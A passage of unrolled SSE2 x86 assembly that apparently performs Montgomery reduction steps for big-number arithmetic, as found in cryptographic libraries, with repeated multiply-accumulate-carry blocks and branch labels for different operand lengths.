movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (84)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (32)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (88)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (88)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (36)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (92)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (92)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (40)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (96)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (96)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (44)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (100)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (100)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (48)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (104)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (104)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (52)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (108)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (108)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(56), %edx
jmp .Lfinishgas_1
.Ltst_reduct15gas_1:
cmp $(15), %edi
jne .Ltst_reduct16gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (60)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (60)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (64)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (64)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (68)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
